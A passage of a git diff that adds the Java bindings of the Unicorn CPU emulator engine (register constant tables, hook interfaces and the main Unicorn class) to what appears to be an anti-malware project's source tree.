90; + public static final int UC_MIPS_REG_FCC2 = 91; + public static final int UC_MIPS_REG_FCC3 = 92; + public static final int UC_MIPS_REG_FCC4 = 93; + public static final int UC_MIPS_REG_FCC5 = 94; + public static final int UC_MIPS_REG_FCC6 = 95; + public static final int UC_MIPS_REG_FCC7 = 96; + +// AFPR128 + public static final int UC_MIPS_REG_W0 = 97; + public static final int UC_MIPS_REG_W1 = 98; + public static final int UC_MIPS_REG_W2 = 99; + public static final int UC_MIPS_REG_W3 = 100; + public static final int UC_MIPS_REG_W4 = 101; + public static final int UC_MIPS_REG_W5 = 102; + public static final int UC_MIPS_REG_W6 = 103; + public static final int UC_MIPS_REG_W7 = 104; + public static final int UC_MIPS_REG_W8 = 105; + public static final int UC_MIPS_REG_W9 = 106; + public static final int UC_MIPS_REG_W10 = 107; + public static final int UC_MIPS_REG_W11 = 108; + public static final int UC_MIPS_REG_W12 = 109; + public static final int UC_MIPS_REG_W13 = 110; + public static final int UC_MIPS_REG_W14 = 111; + public static final int UC_MIPS_REG_W15 = 112; + public static final int UC_MIPS_REG_W16 = 113; + public static final int UC_MIPS_REG_W17 = 114; + public static final int UC_MIPS_REG_W18 = 115; + public static final int UC_MIPS_REG_W19 = 116; + public static final int UC_MIPS_REG_W20 = 117; + public static final int UC_MIPS_REG_W21 = 118; + public static final int UC_MIPS_REG_W22 = 119; + public static final int UC_MIPS_REG_W23 = 120; + public static final int UC_MIPS_REG_W24 = 121; + public static final int UC_MIPS_REG_W25 = 122; + public static final int UC_MIPS_REG_W26 = 123; + public static final int UC_MIPS_REG_W27 = 124; + public static final int UC_MIPS_REG_W28 = 125; + public static final int UC_MIPS_REG_W29 = 126; + public static final int UC_MIPS_REG_W30 = 127; + public static final int UC_MIPS_REG_W31 = 128; + public static final int UC_MIPS_REG_HI = 129; + public static final int UC_MIPS_REG_LO = 130; + public static final int UC_MIPS_REG_P0 = 131; + public static final int UC_MIPS_REG_P1 = 132; + public static final int UC_MIPS_REG_P2 = 133; + public static final int UC_MIPS_REG_MPL0 = 134; + public static final int UC_MIPS_REG_MPL1 = 135; + public static final int UC_MIPS_REG_MPL2 = 136; + public static final int UC_MIPS_REG_CP0_CONFIG3 = 137; + public static final int UC_MIPS_REG_CP0_USERLOCAL = 138; + public static final int UC_MIPS_REG_ENDING = 139; + public static final int UC_MIPS_REG_ZERO = 2; + public static final int UC_MIPS_REG_AT = 3; + public static final int UC_MIPS_REG_V0 = 4; + public static final int UC_MIPS_REG_V1 = 5; + public static final int UC_MIPS_REG_A0 = 6; + public static final int UC_MIPS_REG_A1 = 7; + public static final int UC_MIPS_REG_A2 = 8; + public static final int UC_MIPS_REG_A3 = 9; + public static final int UC_MIPS_REG_T0 = 10; + public static final int UC_MIPS_REG_T1 = 11; + public static final int UC_MIPS_REG_T2 = 12; + public static final int UC_MIPS_REG_T3 = 13; + public static final int UC_MIPS_REG_T4 = 14; + public static final int UC_MIPS_REG_T5 = 15; + public static final int UC_MIPS_REG_T6 = 16; + public static final int UC_MIPS_REG_T7 = 17; + public static final int UC_MIPS_REG_S0 = 18; + public static final int UC_MIPS_REG_S1 = 19; + public static final int UC_MIPS_REG_S2 = 20; + public static final int UC_MIPS_REG_S3 = 21; + public static final int UC_MIPS_REG_S4 = 22; + public static final int UC_MIPS_REG_S5 = 23; + public static final int UC_MIPS_REG_S6 = 24; + public static final int UC_MIPS_REG_S7 = 25; + public static final int UC_MIPS_REG_T8 = 26; + public static final int UC_MIPS_REG_T9 = 27; + public static final int UC_MIPS_REG_K0 = 28; + public static final int UC_MIPS_REG_K1 = 29; + public static final int UC_MIPS_REG_GP = 30; + public static final int UC_MIPS_REG_SP = 31; + public static final int UC_MIPS_REG_FP = 32; + public static final int UC_MIPS_REG_S8 = 32; + public static final int UC_MIPS_REG_RA = 33; + public static final int UC_MIPS_REG_HI0 = 45; + public static final int UC_MIPS_REG_HI1 = 46; + public static final int UC_MIPS_REG_HI2 = 47; + public static final int UC_MIPS_REG_HI3 = 48; + public static final int UC_MIPS_REG_LO0 = 45; + public static final int UC_MIPS_REG_LO1 = 46; + public static final int UC_MIPS_REG_LO2 = 47; + public static final int UC_MIPS_REG_LO3 = 48; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/OutHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/OutHook.java new file mode 100644 index 0000000..94c050f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/OutHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface OutHook extends Hook { + + public void hook(Unicorn u, int port, int size, int value, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ReadHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ReadHook.java new file mode 100644 index 0000000..d522a63 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/ReadHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface ReadHook extends Hook { + + public void hook(Unicorn u, long address, int size, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SparcConst.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SparcConst.java new file mode 100644 index 0000000..de0dc18 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SparcConst.java @@ -0,0 +1,102 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface SparcConst { + +// SPARC registers + + public static final int UC_SPARC_REG_INVALID = 0; + public static final int UC_SPARC_REG_F0 = 1; + public static final int UC_SPARC_REG_F1 = 2; + public static final int UC_SPARC_REG_F2 = 3; + public static final int UC_SPARC_REG_F3 = 4; + public static final int UC_SPARC_REG_F4 = 5; + public static final int UC_SPARC_REG_F5 = 6; + public static final int UC_SPARC_REG_F6 = 7; + public static final int UC_SPARC_REG_F7 = 8; + public static final int UC_SPARC_REG_F8 = 9; + public static final int UC_SPARC_REG_F9 = 10; + public static final int UC_SPARC_REG_F10 = 11; + public static final int UC_SPARC_REG_F11 = 12; + public static final int UC_SPARC_REG_F12 = 13; + public static final int UC_SPARC_REG_F13 = 14; + public static final int UC_SPARC_REG_F14 = 15; + public static final int UC_SPARC_REG_F15 = 16; + public static final int UC_SPARC_REG_F16 = 17; + public static final int UC_SPARC_REG_F17 = 18; + public static final int UC_SPARC_REG_F18 = 19; + public static final int UC_SPARC_REG_F19 = 20; + public static final int UC_SPARC_REG_F20 = 21; + public static final int UC_SPARC_REG_F21 = 22; + public static final int UC_SPARC_REG_F22 = 23; + public static final int UC_SPARC_REG_F23 = 24; + public static final int UC_SPARC_REG_F24 = 25; + public static final int UC_SPARC_REG_F25 = 26; + public static final int UC_SPARC_REG_F26 = 27; + public static final int UC_SPARC_REG_F27 = 28; + public static final int UC_SPARC_REG_F28 = 29; + public static final int UC_SPARC_REG_F29 = 30; + public static final int UC_SPARC_REG_F30 = 31; + public static final int UC_SPARC_REG_F31 = 32; + public static final int UC_SPARC_REG_F32 = 33; + public static final int UC_SPARC_REG_F34 = 34; + public static final int UC_SPARC_REG_F36 = 35; + public static final int UC_SPARC_REG_F38 = 36; + public static final int UC_SPARC_REG_F40 = 37; + public static final int UC_SPARC_REG_F42 = 38; + public static final int UC_SPARC_REG_F44 = 39; + public static final int UC_SPARC_REG_F46 = 40; + public static final int UC_SPARC_REG_F48 = 41; + public static final int UC_SPARC_REG_F50 = 42; + public static final int UC_SPARC_REG_F52 = 43; + public static final int UC_SPARC_REG_F54 = 44; + public static final int UC_SPARC_REG_F56 = 45; + public static final int UC_SPARC_REG_F58 = 46; + public static final int UC_SPARC_REG_F60 = 47; + public static final int UC_SPARC_REG_F62 = 48; + public static final int UC_SPARC_REG_FCC0 = 49; + public static final int UC_SPARC_REG_FCC1 = 50; + public static final int UC_SPARC_REG_FCC2 = 51; + public static final int UC_SPARC_REG_FCC3 = 52; + public static final int UC_SPARC_REG_G0 = 53; + public static final int UC_SPARC_REG_G1 = 54; + public static final int UC_SPARC_REG_G2 = 55; + public static final int UC_SPARC_REG_G3 = 56; + public static final int UC_SPARC_REG_G4 = 57; + public static final int UC_SPARC_REG_G5 = 58; + public static final int UC_SPARC_REG_G6 = 59; + public static final int UC_SPARC_REG_G7 = 60; + public static final int UC_SPARC_REG_I0 = 61; + public static final int UC_SPARC_REG_I1 = 62; + public static final int UC_SPARC_REG_I2 = 63; + public static final int UC_SPARC_REG_I3 = 64; + public static final int UC_SPARC_REG_I4 = 65; + public static final int UC_SPARC_REG_I5 = 66; + public static final int UC_SPARC_REG_FP = 67; + public static final int UC_SPARC_REG_I7 = 68; + public static final int UC_SPARC_REG_ICC = 69; + public static final int UC_SPARC_REG_L0 = 70; + public static final int UC_SPARC_REG_L1 = 71; + public static final int UC_SPARC_REG_L2 = 72; + public static final int UC_SPARC_REG_L3 = 73; + public static final int UC_SPARC_REG_L4 = 74; + public static final int UC_SPARC_REG_L5 = 75; + public static final int UC_SPARC_REG_L6 = 76; + public static final int UC_SPARC_REG_L7 = 77; + public static final int UC_SPARC_REG_O0 = 78; + public static final int UC_SPARC_REG_O1 = 79; + public static final int UC_SPARC_REG_O2 = 80; + public static final int UC_SPARC_REG_O3 = 81; + public static final int UC_SPARC_REG_O4 = 82; + public static final int UC_SPARC_REG_O5 = 83; + public static final int UC_SPARC_REG_SP = 84; + public static final int UC_SPARC_REG_O7 = 85; + public static final int UC_SPARC_REG_Y = 86; + public static final int UC_SPARC_REG_XCC = 87; + public static final int UC_SPARC_REG_PC = 88; + public static final int UC_SPARC_REG_ENDING = 89; + public static final int UC_SPARC_REG_O6 = 84; + public static final int UC_SPARC_REG_I6 = 67; + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SyscallHook.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SyscallHook.java new file mode 100644 index 0000000..5b08a11 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/SyscallHook.java @@ -0,0 +1,29 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +public interface SyscallHook extends Hook { + + public void hook(Unicorn u, Object user); + +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Unicorn.java b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Unicorn.java new file mode 100644 index 0000000..279fdbb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/java/unicorn/Unicorn.java @@ -0,0 +1,825 @@ +/* + +Java bindings for the Unicorn Emulator Engine + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +package unicorn; + +import java.util.*; + +public class Unicorn implements UnicornConst, ArmConst, Arm64Const, M68kConst, SparcConst, MipsConst, X86Const { + + private long eng; + private int arch; + private int mode; + + private long blockHandle = 0; + private long interruptHandle = 0; + private long codeHandle = 0; + + private Hashtable eventMemHandles = new Hashtable(); + private long readInvalidHandle = 0; + private long writeInvalidHandle = 0; + private long fetchProtHandle = 0; + private long readProtHandle = 0; + private long writeProtHandle = 0; + + private long readHandle = 0; + private long writeHandle = 0; + private long inHandle = 0; + private long outHandle = 0; + private long syscallHandle = 0; + + private class Tuple { + public Hook function; + public Object data; + public Tuple(Hook f, Object d) { + function = f; + data = d; + } + } + + private ArrayList blockList = new ArrayList(); + private ArrayList intrList = new ArrayList(); + private ArrayList codeList = new ArrayList(); + private ArrayList readList = new ArrayList(); + private ArrayList writeList = new ArrayList(); + private ArrayList inList = new ArrayList(); + private ArrayList outList = new ArrayList(); + private ArrayList syscallList = new ArrayList(); + + private Hashtable > eventMemLists = new Hashtable >(); + + private ArrayList> allLists = new ArrayList>(); + + private static Hashtable eventMemMap = new Hashtable(); + private static Hashtable unicorns = new Hashtable(); + + //required to load native method implementations + static { + System.loadLibrary("unicorn_java"); //loads unicorn.dll or libunicorn.so + eventMemMap.put(UC_HOOK_MEM_READ_UNMAPPED, UC_MEM_READ_UNMAPPED); + eventMemMap.put(UC_HOOK_MEM_WRITE_UNMAPPED, UC_MEM_WRITE_UNMAPPED); + eventMemMap.put(UC_HOOK_MEM_FETCH_UNMAPPED, UC_MEM_FETCH_UNMAPPED); + eventMemMap.put(UC_HOOK_MEM_READ_PROT, UC_MEM_READ_PROT); + eventMemMap.put(UC_HOOK_MEM_WRITE_PROT, UC_MEM_WRITE_PROT); + eventMemMap.put(UC_HOOK_MEM_FETCH_PROT, UC_MEM_FETCH_PROT); + eventMemMap.put(UC_HOOK_MEM_READ, UC_MEM_READ); + eventMemMap.put(UC_HOOK_MEM_WRITE, UC_MEM_WRITE); + eventMemMap.put(UC_HOOK_MEM_FETCH, UC_MEM_FETCH); + eventMemMap.put(UC_HOOK_MEM_READ_AFTER, UC_MEM_READ_AFTER); + } + +/** + * Invoke all UC_HOOK_BLOCK callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_BLOCK + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address The address of the instruction being executed + * @param size The size of the basic block being executed + * @see hook_add, unicorn.BlockHook + */ + private static void invokeBlockCallbacks(long eng, long address, int size) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.blockList) { + BlockHook bh = (BlockHook)p.function; + bh.hook(u, address, size, p.data); + } + } + } + +/** + * Invoke all UC_HOOK_INTR callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INTR + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param intno The interrupt number + * @see hook_add, unicorn.InterruptHook + */ + private static void invokeInterruptCallbacks(long eng, int intno) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.intrList) { + InterruptHook ih = (InterruptHook)p.function; + ih.hook(u, intno, p.data); + } + } + } + +/** + * Invoke all UC_HOOK_CODE callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_CODE + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address The address of the instruction being executed + * @param size The size of the instruction being executed + * @see hook_add, unicorn.CodeHook + */ + private static void invokeCodeCallbacks(long eng, long address, int size) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.codeList) { + CodeHook ch = (CodeHook)p.function; + ch.hook(u, address, size, p.data); + } + } + } + +/** + * Invoke all UC_HOOK_MEM_XXX_UNMAPPED and/or UC_HOOK_MEM_XXX_PROT callbacks registered + * for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_MEM_XXX_UNMAPPED or UC_HOOK_MEM_XXX_PROT + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param type The type of event that is taking place + * @param address Address of instruction being executed + * @param size Size of data being read or written + * @param value Value of data being written to memory, or irrelevant if type = READ. + * @return true to continue, or false to stop program (due to invalid memory). + * @see hook_add, unicorn.EventMemHook + */ + private static boolean invokeEventMemCallbacks(long eng, int type, long address, int size, long value) { + Unicorn u = unicorns.get(eng); + boolean result = true; + if (u != null) { + ArrayList funcList = u.eventMemLists.get(type); + if (funcList != null) { + for (Tuple p : funcList) { + EventMemHook emh = (EventMemHook)p.function; + result &= emh.hook(u, address, size, value, p.data); + } + } + } + return result; + } + +/** + * Invoke all UC_HOOK_MEM_READ callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_MEM_READ + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address Address of instruction being executed + * @param size Size of data being read + * @see hook_add, unicorn.ReadHook + */ + private static void invokeReadCallbacks(long eng, long address, int size) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.readList) { + ReadHook rh = (ReadHook)p.function; + rh.hook(u, address, size, p.data); + } + } + } + +/** + * Invoke all UC_HOOK_MEM_WRITE callbacks registered for a specific Unicorn. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_MEM_WRITE + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param address Address of instruction being executed + * @param size Size of data being read + * @param value value being written + * @see hook_add, unicorn.WriteHook + */ + private static void invokeWriteCallbacks(long eng, long address, int size, long value) { + Unicorn u = unicorns.get(eng); + if (u != null) { + for (Tuple p : u.writeList) { + WriteHook wh = (WriteHook)p.function; + wh.hook(u, address, size, value, p.data); + } + } + } + +/** + * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. + * This is specifically for the x86 IN instruction. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INSN + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param port I/O Port number + * @param size Data size (1/2/4) to be read from this port + * @return Data supplied from the input port + * @see hook_add, unicorn.InHook + */ + private static int invokeInCallbacks(long eng, int port, int size) { + Unicorn u = unicorns.get(eng); + int result = 0; + if (u != null) { + for (Tuple p : u.inList) { + InHook ih = (InHook)p.function; + result = ih.hook(u, port, size, p.data); + } + } + return result; + } + +/** + * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. + * This is specifically for the x86 OUT instruction. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INSN + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @param port I/O Port number + * @param size Data size (1/2/4) to be written to this port + * @see hook_add, unicorn.OutHook + */ + private static void invokeOutCallbacks(long eng, int port, int size, int value) { + Unicorn u = unicorns.get(eng); + int result = 0; + if (u != null) { + for (Tuple p : u.outList) { + OutHook oh = (OutHook)p.function; + oh.hook(u, port, size, value, p.data); + } + } + } + +/** + * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. + * This is specifically for the x86 SYSCALL and SYSENTER instruction. + * This function gets invoked from the native C callback registered for + * for UC_HOOK_INSN + * + * @param eng A Unicorn uc_engine* eng returned by uc_open + * @see hook_add, unicorn.SyscallHook + */ + private static void invokeSyscallCallbacks(long eng) { + Unicorn u = unicorns.get(eng); + int result = 0; + if (u != null) { + for (Tuple p : u.syscallList) { + SyscallHook sh = (SyscallHook)p.function; + sh.hook(u, p.data); + } + } + } + +/** + * Write to register. + * + * @param regid Register ID that is to be modified. + * @param value Number containing the new register value + */ + private native void reg_write_num(int regid, Number value) throws UnicornException; + +/** + * Write to register. + * + * @param regid Register ID that is to be modified. + * @param value X86 specific memory management register containing the new register value + */ + private native void reg_write_mmr(int regid, X86_MMR value) throws UnicornException; + +/** + * Read register value. + * + * @param regid Register ID that is to be retrieved. + * @return Number containing the requested register value. + */ + private native Number reg_read_num(int regid) throws UnicornException; + +/** + * Read register value. + * + * @param regid Register ID that is to be retrieved. + * @return X86_MMR containing the requested register value. + */ + private native Number reg_read_mmr(int regid) throws UnicornException; + +/** + * Native access to uc_open + * + * @param arch Architecture type (UC_ARCH_*) + * @param mode Hardware mode. This is combined of UC_MODE_* + */ + private native long open(int arch, int mode) throws UnicornException; + +/** + * Create a new Unicorn object + * + * @param arch Architecture type (UC_ARCH_*) + * @param mode Hardware mode. This is combined of UC_MODE_* + * @see unicorn.UnicornConst + * + */ + public Unicorn(int arch, int mode) throws UnicornException { + //remember these in case we need arch specific code + this.arch = arch; + this.mode = mode; + eng = open(arch, mode); + unicorns.put(eng, this); + allLists.add(blockList); + allLists.add(intrList); + allLists.add(codeList); + allLists.add(readList); + allLists.add(writeList); + allLists.add(inList); + allLists.add(outList); + allLists.add(syscallList); + } + +/** + * Perform native cleanup tasks associated with a Unicorn object + * + */ + protected void finalize() { + unicorns.remove(eng); + close(); + } + +/** + * Return combined API version & major and minor version numbers. + * + * @return hexadecimal number as (major << 8 | minor), which encodes both major & minor versions. + * + * For example Unicorn version 1.2 whould yield 0x0102 + */ + public native static int version(); + +/** + * Determine if the given architecture is supported by this library. + * + * @param arch Architecture type (UC_ARCH_*) + * @return true if this library supports the given arch. + * @see unicorn.UnicornConst + */ + public native static boolean arch_supported(int arch); + +/** + * Close the underlying uc_engine* eng associated with this Unicorn object + * + */ + public native void close() throws UnicornException; + +/** + * Query internal status of engine. + * + * @param type query type. See UC_QUERY_* + * @param result save the internal status queried + * + * @return: error code. see UC_ERR_* + * @see unicorn.UnicornConst + */ + public native int query(int type) throws UnicornException; + +/** + * Report the last error number when some API function fail. + * Like glibc's errno, uc_errno might not retain its old value once accessed. + * + * @return Error code of uc_err enum type (UC_ERR_*, see above) + * @see unicorn.UnicornConst + */ + public native int errno(); + +/** + * Return a string describing given error code. + * + * @param code Error code (see UC_ERR_* above) + * @return Returns a String that describes the error code + * @see unicorn.UnicornConst + */ + public native static String strerror(int code); + +/** + * Write to register. + * + * @deprecated use reg_write(int regid, Object value) instead + * @param regid Register ID that is to be modified. + * @param value Array containing value that will be written into register @regid + */ +@Deprecated + public native void reg_write(int regid, byte[] value) throws UnicornException; + +/** + * Write to register. + * + * @param regid Register ID that is to be modified. + * @param value Object containing the new register value. Long, BigInteger, or + * other custom class used to represent register values + */ + public void reg_write(int regid, Object value) throws UnicornException { + if (value instanceof Number) { + reg_write_num(regid, (Number)value); + } + else if (arch == UC_ARCH_X86 && value instanceof X86_MMR) { + if (regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { + reg_write_mmr(regid, (X86_MMR)value); + } + } + else { + throw new ClassCastException("Invalid value type"); + } + } + +/** + * Read register value. + * + * @deprecated use Object reg_read(int regid) instead + * @param regid Register ID that is to be retrieved. + * @param regsz Size of the register being retrieved. + * @return Byte array containing the requested register value. + */ +@Deprecated + public native byte[] reg_read(int regid, int regsz) throws UnicornException; + +/** + * Read register value. + * + * @param regid Register ID that is to be retrieved. + * @return Object containing the requested register value. Long, BigInteger, or + * other custom class used to represent register values + */ + public Object reg_read(int regid) throws UnicornException { + if (arch == UC_ARCH_X86 && regid >= UC_X86_REG_IDTR && regid <= UC_X86_REG_TR) { + return reg_read_mmr(regid); + } + else { + return reg_read_num(regid); + } + } + +/** + * Batch write register values. regids.length == vals.length or UC_ERR_ARG + * + * @param regids Array of register IDs to be written. + * @param vals Array of register values to be written. + */ + public void reg_write_batch(int regids[], Object vals[]) throws UnicornException { + if (regids.length != vals.length) { + throw new UnicornException(strerror(UC_ERR_ARG)); + } + for (int i = 0; i < regids.length; i++) { + reg_write(regids[i], vals[i]); + } + } + +/** + * Batch read register values. + * + * @param regids Array of register IDs to be read. + * @return Array containing the requested register values. + */ + public Object[] reg_read_batch(int regids[]) throws UnicornException { + Object[] vals = new Object[regids.length]; + for (int i = 0; i < regids.length; i++) { + vals[i] = reg_read(regids[i]); + } + return vals; + } + +/** + * Write to memory. + * + * @param address Start addres of the memory region to be written. + * @param bytes The values to be written into memory. bytes.length bytes will be written. + */ + public native void mem_write(long address, byte[] bytes) throws UnicornException; + +/** + * Read memory contents. + * + * @param address Start addres of the memory region to be read. + * @param size Number of bytes to be retrieved. + * @return Byte array containing the contents of the requested memory range. + */ + public native byte[] mem_read(long address, long size) throws UnicornException; + +/** + * Emulate machine code in a specific duration of time. + * + * @param begin Address where emulation starts + * @param until Address where emulation stops (i.e when this address is hit) + * @param timeout Duration to emulate the code (in microseconds). When this value is 0, we will emulate the code in infinite time, until the code is finished. + * @param count The number of instructions to be emulated. When this value is 0, we will emulate all the code available, until the code is finished. + */ + public native void emu_start(long begin, long until, long timeout, long count) throws UnicornException; + +/** + * Stop emulation (which was started by emu_start() ). + * This is typically called from callback functions registered via tracing APIs. + * NOTE: for now, this will stop the execution only after the current block. + */ + public native void emu_stop() throws UnicornException; + +/** + * Hook registration helper for hook types that require no additional arguments. + * + * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object + * @param type UC_HOOK_* hook type + * @return Unicorn uch returned for registered hook function + */ + private native static long registerHook(long eng, int type); + +/** + * Hook registration helper for hook types that require one additional argument. + * + * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object + * @param type UC_HOOK_* hook type + * @param arg1 Additional varargs argument + * @return Unicorn uch returned for registered hook function + */ + private native static long registerHook(long eng, int type, int arg1); + +/** + * Hook registration helper for hook types that require two additional arguments. + * + * @param eng Internal unicorn uc_engine* eng associated with hooking Unicorn object + * @param type UC_HOOK_* hook type + * @param arg1 First additional varargs argument + * @param arg2 Second additional varargs argument + * @return Unicorn uch returned for registered hook function + */ + private native static long registerHook(long eng, int type, long arg1, long arg2); + +/** + * Hook registration for UC_HOOK_BLOCK hooks. The registered callback function will be + * invoked when a basic block is entered and the address of the basic block (BB) falls in the + * range begin <= BB <= end. For the special case in which begin > end, the callback will be + * invoked whenver any basic block is entered. + * + * @param callback Implementation of a BlockHook interface + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(BlockHook callback, long begin, long end, Object user_data) throws UnicornException { + if (blockHandle == 0) { + blockHandle = registerHook(eng, UC_HOOK_BLOCK, begin, end); + } + blockList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_INTR hooks. The registered callback function will be + * invoked whenever an interrupt instruction is executed. + * + * @param callback Implementation of a InterruptHook interface + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(InterruptHook callback, Object user_data) throws UnicornException { + if (interruptHandle == 0) { + interruptHandle = registerHook(eng, UC_HOOK_INTR); + } + intrList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_CODE hooks. The registered callback function will be + * invoked when an instruction is executed from the address range begin <= PC <= end. For + * the special case in which begin > end, the callback will be invoked for ALL instructions. + * + * @param callback Implementation of a CodeHook interface + * @param begin Start address of hooking range + * @param end End address of hooking range + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(CodeHook callback, long begin, long end, Object user_data) throws UnicornException { + if (codeHandle == 0) { + codeHandle = registerHook(eng, UC_HOOK_CODE, begin, end); + } + codeList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_MEM_READ hooks. The registered callback function will be + * invoked whenever a memory read is performed within the address range begin <= read_addr <= end. For + * the special case in which begin > end, the callback will be invoked for ALL memory reads. + * + * @param callback Implementation of a ReadHook interface + * @param begin Start address of memory read range + * @param end End address of memory read range + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(ReadHook callback, long begin, long end, Object user_data) throws UnicornException { + if (readHandle == 0) { + readHandle = registerHook(eng, UC_HOOK_MEM_READ, begin, end); + } + readList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_MEM_WRITE hooks. The registered callback function will be + * invoked whenever a memory write is performed within the address range begin <= write_addr <= end. For + * the special case in which begin > end, the callback will be invoked for ALL memory writes. + * + * @param callback Implementation of a WriteHook interface + * @param begin Start address of memory write range + * @param end End address of memory write range + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(WriteHook callback, long begin, long end, Object user_data) throws UnicornException { + if (writeHandle == 0) { + writeHandle = registerHook(eng, UC_HOOK_MEM_WRITE, begin, end); + } + writeList.add(new Tuple(callback, user_data)); + } + +/** + * Hook registration for UC_HOOK_MEM_WRITE | UC_HOOK_MEM_WRITE hooks. The registered callback function will be + * invoked whenever a memory write or read is performed within the address range begin <= addr <= end. For + * the special case in which begin > end, the callback will be invoked for ALL memory writes. + * + * @param callback Implementation of a MemHook interface + * @param begin Start address of memory range + * @param end End address of memory range + * @param user_data User data to be passed to the callback function each time the event is triggered + */ + public void hook_add(MemHook callback, long begin, long end, Object user_data) throws UnicornException { + hook_add((ReadHook)callback, begin, end, user_data); + hook_add((WriteHook)callback, begin, end, user_data); + } + +/** + * Hook registration for UC_HOOK_MEM_XXX_UNMAPPED and UC_HOOK_MEM_XXX_PROT hooks. + * The registered callback function will be invoked whenever a read or write is + * attempted from an invalid or protected memory address. + * + * @param callback Implementation of a EventMemHook interface + * 